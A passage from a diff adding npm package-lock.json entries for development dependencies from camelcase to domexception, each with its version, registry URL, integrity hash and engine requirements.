"dev": true, + "dependencies": { + "no-case": "^2.2.0", + "upper-case": "^1.1.1" + } + }, + "node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001517", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001517.tgz", + "integrity": "sha512-Vdhm5S11DaFVLlyiKu4hiUTkpZu+y1KA/rZZqVQfOD5YdDT/eQKlkt7NaE0WGOFgX32diqt9MiP9CAiFeRklaA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ] + }, + "node_modules/catharsis": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/catharsis/-/catharsis-0.9.0.tgz", + "integrity": "sha512-prMTQVpcns/tzFgFVkVp6ak6RykZyWb3gu8ckUpd6YkTlacOd3DXGJjIpD4Q6zJirizvaiAjSSHlOsA+6sNh2A==", + "dev": true, + "dependencies": { + "lodash": "^4.17.15" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/chai": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.4.tgz", + "integrity": "sha512-yS5H68VYOCtN1cjfwumDSuzn/9c+yza4f3reKXlE5rUg7SFcCEy90gJvydNgOYtblyf4Zi6jIWRnXOgErta0KA==", + "dev": true, + "dependencies": { + "assertion-error": "^1.1.0", + "check-error": "^1.0.2", + "deep-eql": "^3.0.1", + "get-func-name": "^2.0.0", + "pathval": "^1.1.1", + "type-detect": "^4.0.5" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/check-error": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz", + "integrity": "sha512-BrgHpW9NURQgzoNyjfq0Wu6VFO6D7IZEmJNdtgNqpzGG8RuNFHt2jQxWlAs4HMe119chBnv+34syEZtc6IhLtA==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/chokidar": { + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", + "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", + "deprecated": "Chokidar 2 does not receive security updates since 2019. Upgrade to chokidar 3 with 15x fewer dependencies", + "dev": true, + "dependencies": { + "anymatch": "^2.0.0", + "async-each": "^1.0.1", + "braces": "^2.3.2", + "glob-parent": "^3.1.0", + "inherits": "^2.0.3", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "normalize-path": "^3.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.2.1", + "upath": "^1.1.1" + }, + "optionalDependencies": { + "fsevents": "^1.2.7" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha512-E8Ak/2+dZY6fnzlR7+ueWvhsH1SjHr4jjss4YS/h4py44jY9MhK/VFdaZJAWDz6BbL21KeteKxFSFpq8OS5gVA==", + "dev": true, + "dependencies": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + } + }, + "node_modules/chokidar/node_modules/glob-parent/node_modules/is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/class-utils": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", + "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", + "dev": true, + "dependencies": { + "arr-union": "^3.1.0", + "define-property": "^0.2.5", + "isobject": "^3.0.0", + "static-extend": "^0.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/clean-css": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.2.3.tgz", + "integrity": "sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==", + "dev": true, + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/cli-spinner": { + "version": "0.2.10", + "resolved": "https://registry.npmjs.org/cli-spinner/-/cli-spinner-0.2.10.tgz", + "integrity": "sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q==", + "dev": true, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/clone": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.2.tgz", + "integrity": "sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==", + "dev": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/clone-buffer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/clone-buffer/-/clone-buffer-1.0.0.tgz", + "integrity": "sha512-KLLTJWrvwIP+OPfMn0x2PheDEP20RPUcGXj/ERegTgdmPEZylALQldygiqrPPu8P45uNuPs7ckmReLY6v/iA5g==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/clone-stats": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/clone-stats/-/clone-stats-1.0.0.tgz", + "integrity": "sha512-au6ydSpg6nsrigcZ4m8Bc9hxjeW+GJ8xh5G3BJCMt4WXe1H10UNaVOamqQTmrx1kjVuxAHIQSNU6hY4Nsn9/ag==", + "dev": true + }, + "node_modules/cloneable-readable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/cloneable-readable/-/cloneable-readable-1.1.3.tgz", + "integrity": "sha512-2EF8zTQOxYq70Y4XKtorQupqF0m49MBz2/yf5Bj+MHjvpG3Hy7sImifnqD6UA+TKYxeSV+u6qqQPawN5UvnpKQ==", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "process-nextick-args": "^2.0.0", + "readable-stream": "^2.3.5" + } + }, + "node_modules/code-point-at": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", + "integrity": "sha512-RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/collection-map": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/collection-map/-/collection-map-1.0.0.tgz", + "integrity": "sha512-5D2XXSpkOnleOI21TG7p3T0bGAsZ/XknZpKBmGYyluO8pw4zA3K8ZlrBIbC4FXg3m6z/RNFiUFfT2sQK01+UHA==", + "dev": true, + "dependencies": { + "arr-map": "^2.0.2", + "for-own": "^1.0.0", + "make-iterator": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/collection-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", + "integrity": "sha512-lNkKvzEeMBBjUGHZ+q6z9pSJla0KWAQPvtzhEV9+iGyQYG+pBpl7xKDhxoNSOZH2hhv0v5k0y2yAM4o4SjoSkw==", + "dev": true, + "dependencies": { + "map-visit": "^1.0.0", + "object-visit": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/color-support": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", + "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", + "dev": true, + "bin": { + "color-support": "bin.js" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dev": true, + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.2.0.tgz", + "integrity": "sha512-LLKxDvHeL91/8MIyTAD5BFMNtoIwztGPMiM/7Bl8rIPmHCZXRxmSWr91h57dpOpnQ6jIUqEWdXE/uBYMfiVZDA==", + "dev": true, + "engines": { + "node": ">= 12" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "dev": true + }, + "node_modules/component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==", + "dev": true + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "node_modules/concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "engines": [ + "node >= 0.8" + ], + "dependencies": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "node_modules/concat-with-sourcemaps": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/concat-with-sourcemaps/-/concat-with-sourcemaps-1.1.0.tgz", + "integrity": "sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg==", + "dev": true, + "dependencies": { + "source-map": "^0.6.1" + } + }, + "node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==", + "dev": true + }, + "node_modules/copy-descriptor": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", + "integrity": "sha512-XgZ0pFcakEUlbwQEVNg3+QAis1FyTL3Qel9FYy8pSkQqoG3PNoT0bOCQtOXcOkur21r2Eq2kI+IE+gsmAEVlYw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/copy-props": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/copy-props/-/copy-props-2.0.5.tgz", + "integrity": "sha512-XBlx8HSqrT0ObQwmSzM7WE5k8FxTV75h1DX1Z3n6NhQ/UYYAvInWYmG06vFt7hQZArE2fuO62aihiWIVQwh1sw==", + "dev": true, + "dependencies": { + "each-props": "^1.3.2", + "is-plain-object": "^5.0.0" + } + }, + "node_modules/copy-props/node_modules/is-plain-object": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", + "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/core-js-compat": { + "version": "3.31.1", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.31.1.tgz", + "integrity": "sha512-wIDWd2s5/5aJSdpOJHfSibxNODxoGoWOBHt8JSPB41NOE94M7kuTPZCYLOlTtuoXTsBPKobpJ6T+y0SSy5L9SA==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.9" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "dev": true + }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssom": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz", + "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==", + "dev": true + }, + "node_modules/cssstyle": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", + "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "dev": true, + "dependencies": { + "cssom": "~0.3.6" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cssstyle/node_modules/cssom": { + "version": "0.3.8", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", + "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==", + "dev": true + }, + "node_modules/d": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/d/-/d-1.0.1.tgz", + "integrity": "sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==", + "dev": true, + "dependencies": { + "es5-ext": "^0.10.50", + "type": "^1.0.1" + } + }, + "node_modules/data-urls": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz", + "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", + "dev": true, + "dependencies": { + "abab": "^2.0.6", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^11.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/data-urls/node_modules/whatwg-url": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", + "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", + "dev": true, + "dependencies": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/decimal.js": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz", + "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==", + "dev": true + }, + "node_modules/decode-uri-component": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz", + "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==", + "dev": true, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/deep-eql": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz", + "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==", + "dev": true, + "dependencies": { + "type-detect": "^4.0.0" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true + }, + "node_modules/default-compare": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/default-compare/-/default-compare-1.0.0.tgz", + "integrity": "sha512-QWfXlM0EkAbqOCbD/6HjdwT19j7WCkMyiRhWilc4H9/5h/RzTF9gv5LYh1+CmDV5d1rki6KAWLtQale0xt20eQ==", + "dev": true, + "dependencies": { + "kind-of": "^5.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-compare/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-require-extensions": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/default-require-extensions/-/default-require-extensions-3.0.1.tgz", + "integrity": "sha512-eXTJmRbm2TIt9MgWTsOH1wEuhew6XGZcMeGKCtLedIg/NCsg1iBePXkceTdK4Fii7pzmN9tGsZhKzZ4h7O/fxw==", + "dev": true, + "dependencies": { + "strip-bom": "^4.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-resolution": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/default-resolution/-/default-resolution-2.0.0.tgz", + "integrity": "sha512-2xaP6GiwVwOEbXCGoJ4ufgC76m8cj805jrghScewJC2ZDsb9U0b4BIrba+xt/Uytyd0HvQ6+WymSRTfnYj59GQ==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/define-properties": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.0.tgz", + "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==", + "dev": true, + "dependencies": { + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==", + "dev": true, + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/del": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz", + "integrity": "sha512-1shh9DQ23L16oXSZKB2JxpL7iMy2E0S9d517ptA1P8iw0alkPtQcrKH7ru31rYtKwF499HkTu+DRzq3TCKDFRQ==", + "dev": true, + "dependencies": { + "globby": "^11.0.1", + "graceful-fs": "^4.2.4", + "is-glob": "^4.0.1", + "is-path-cwd": "^2.2.0", + "is-path-inside": "^3.0.2", + "p-map": "^4.0.0", + "rimraf": "^3.0.2", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dependency-graph": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz", + "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==", + "dev": true, + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/detect-file": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz", + "integrity": "sha512-DtCOLG98P007x7wiiOmfI0fi3eIKyWiLTGJ2MDnVi/E04lWGbf+JzrRHMm0rgIIZJGtHpKpbVgLWHrv8xXpc3Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "dev": true + }, + "node_modules/diff": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz", + "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==", + "dev": true, + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/domexception": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz", + "integrity": 